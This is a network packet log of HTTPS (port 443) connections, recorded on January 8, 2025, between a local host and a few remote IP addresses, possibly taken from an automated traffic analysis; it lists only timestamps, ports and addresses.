Jan 8, 2025 15:44:29.232008934 CET	49718	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:29.232079029 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:29.232208014 CET	49718	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:29.234195948 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:29.286204100 CET	49718	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:30.682737112 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:30.682856083 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:30.682919979 CET	49718	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:30.683443069 CET	49718	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:30.683456898 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:30.702821016 CET	49719	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:30.702847004 CET	443	49719	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:30.702946901 CET	49719	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:30.703253984 CET	49719	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:30.703263998 CET	443	49719	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.188107014 CET	443	49719	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.189656019 CET	49719	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.189665079 CET	443	49719	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.190685034 CET	443	49719	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.190794945 CET	49719	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.191201925 CET	49719	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.191201925 CET	49719	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.191263914 CET	443	49719	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.191296101 CET	49719	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.191330910 CET	49719	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.191608906 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.191639900 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.192609072 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.192852974 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.192867041 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.646959066 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.647294044 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.647321939 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.647676945 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.648086071 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.648178101 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:31.648369074 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:31.695327044 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.556328058 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.556806087 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.556840897 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.556881905 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.556914091 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.556936979 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.556957006 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.557126045 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.559094906 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.559103966 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.585777998 CET	49723	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.585830927 CET	443	49723	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.585999012 CET	49723	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.586179972 CET	49724	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.586219072 CET	443	49724	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.586446047 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.586460114 CET	443	49725	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.586477995 CET	49724	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.586509943 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.587119102 CET	49723	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.587133884 CET	443	49723	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.587609053 CET	49724	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.587620974 CET	443	49724	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.587836027 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.587848902 CET	443	49725	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:32.600239992 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:32.850019932 CET	49678	443	192.168.2.16	20.189.173.10
Jan 8, 2025 15:44:33.050134897 CET	443	49724	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.050304890 CET	443	49723	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.050636053 CET	49723	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.050651073 CET	443	49723	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.050729036 CET	49724	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.050755978 CET	443	49724	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.051821947 CET	443	49724	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.051893950 CET	49724	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.051997900 CET	443	49723	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.052062988 CET	49723	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.052340031 CET	49724	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.052340031 CET	49724	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.052390099 CET	49724	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.052409887 CET	443	49724	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.052485943 CET	49724	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.052747965 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.052779913 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.052849054 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.053095102 CET	49723	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.053107977 CET	49723	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.053175926 CET	49723	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.053183079 CET	443	49723	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.053229094 CET	49723	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.053554058 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.053607941 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.053729057 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.053741932 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.053762913 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.054174900 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.054187059 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.061134100 CET	443	49725	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.063421965 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.063432932 CET	443	49725	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.064603090 CET	443	49725	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.064671040 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.064971924 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.064985991 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.065026999 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.065037966 CET	443	49725	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.065238953 CET	443	49725	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.065253019 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.065265894 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.065275908 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.065327883 CET	49725	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.065346956 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.065529108 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.065541029 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.077497959 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.077588081 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.077626944 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.077637911 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.077652931 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.077692986 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.077701092 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.077747107 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.077797890 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.077799082 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.077811003 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.077860117 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.078538895 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.078600883 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.078643084 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.078654051 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.079004049 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.079041958 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.079056025 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.079063892 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.079106092 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.079113960 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.079922915 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.079969883 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.079988003 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.079997063 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.080034971 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.158250093 CET	49678	443	192.168.2.16	20.189.173.10
Jan 8, 2025 15:44:33.163780928 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.163852930 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.163892984 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.163923979 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.163934946 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.163975954 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.163975954 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.163990974 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.164037943 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.164045095 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.164125919 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.164180040 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.164326906 CET	49721	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.164341927 CET	443	49721	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.510211945 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.510615110 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.510626078 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.511697054 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.511755943 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.512057066 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.512114048 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.512226105 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.512233973 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.531030893 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.531336069 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.531346083 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.532397032 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.532469034 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.532789946 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.532857895 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.533101082 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.533107996 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.542465925 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.542741060 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.542764902 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.543752909 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.543808937 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.544172049 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.544234991 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.544317961 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.544329882 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:33.557255983 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.573206902 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.589207888 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:33.764208078 CET	49678	443	192.168.2.16	20.189.173.10
Jan 8, 2025 15:44:34.002187014 CET	49673	443	192.168.2.16	204.79.197.203
Jan 8, 2025 15:44:34.419853926 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.419900894 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.419936895 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.419965982 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.419991970 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.419996023 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.420011997 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.420041084 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.420042992 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.420074940 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.420082092 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.420129061 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.471805096 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.471848965 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.471918106 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.471942902 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.471960068 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.472009897 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.472143888 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.472799063 CET	49726	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.472814083 CET	443	49726	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.474518061 CET	49730	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.474548101 CET	443	49730	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.474621058 CET	49730	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.474996090 CET	49731	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.475022078 CET	443	49731	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.475085974 CET	49731	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.475332975 CET	49730	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.475344896 CET	443	49730	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.475544930 CET	49731	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.475555897 CET	443	49731	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.490453005 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.490470886 CET	443	49732	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:34.490592003 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.490852118 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.490865946 CET	443	49732	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:34.525223017 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.525252104 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.573229074 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.739073038 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.739187956 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.739222050 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.739253998 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.739253998 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.739264965 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.739331961 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.739341021 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.739389896 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.739999056 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.740060091 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.740088940 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.740123987 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.740132093 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.740241051 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.740705967 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.740763903 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.740840912 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.740891933 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.741056919 CET	49727	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.741064072 CET	443	49727	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.908704042 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.908766985 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.908796072 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.908822060 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.908844948 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.908874035 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.908885002 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.908931017 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.908931017 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.908942938 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.909198999 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.909229040 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.909257889 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.909274101 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.909281969 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.909296036 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.909986019 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.910017967 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.910037994 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.910046101 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.910078049 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.910092115 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.910099030 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.910140991 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.911092043 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.927719116 CET	443	49730	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.927978992 CET	49730	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.927988052 CET	443	49730	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.929027081 CET	443	49730	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.929097891 CET	49730	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.929392099 CET	49730	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.929404020 CET	49730	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.929450035 CET	49730	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.929461002 CET	443	49730	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.929507017 CET	49730	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.929771900 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.929807901 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.929904938 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.930161953 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.930176020 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.938786030 CET	443	49731	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.939162970 CET	49731	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.939182043 CET	443	49731	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.940459013 CET	443	49731	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.940541029 CET	49731	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.940880060 CET	49731	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.940891981 CET	49731	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.940946102 CET	443	49731	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.940954924 CET	49731	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.940999985 CET	49731	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.941319942 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.941353083 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.941437960 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.941631079 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.941641092 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.942024946 CET	443	49732	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:34.942284107 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.942292929 CET	443	49732	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:34.943351030 CET	443	49732	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:34.943425894 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.943681002 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.943698883 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.943728924 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.943747997 CET	443	49732	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:34.943897963 CET	443	49732	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:34.943897963 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.943923950 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:34.943929911 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.944010973 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.944010973 CET	49732	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.944171906 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:34.944183111 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:34.953752041 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.953758001 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.968223095 CET	49678	443	192.168.2.16	20.189.173.10
Jan 8, 2025 15:44:34.994688988 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.994750977 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.994760036 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.994767904 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.994803905 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.994812965 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.994820118 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.994860888 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.994865894 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.995537043 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.995563984 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.995593071 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.995601892 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.995609045 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.995635986 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.995646000 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.995683908 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.995692015 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.996598959 CET	443	49728	104.21.28.45	192.168.2.16
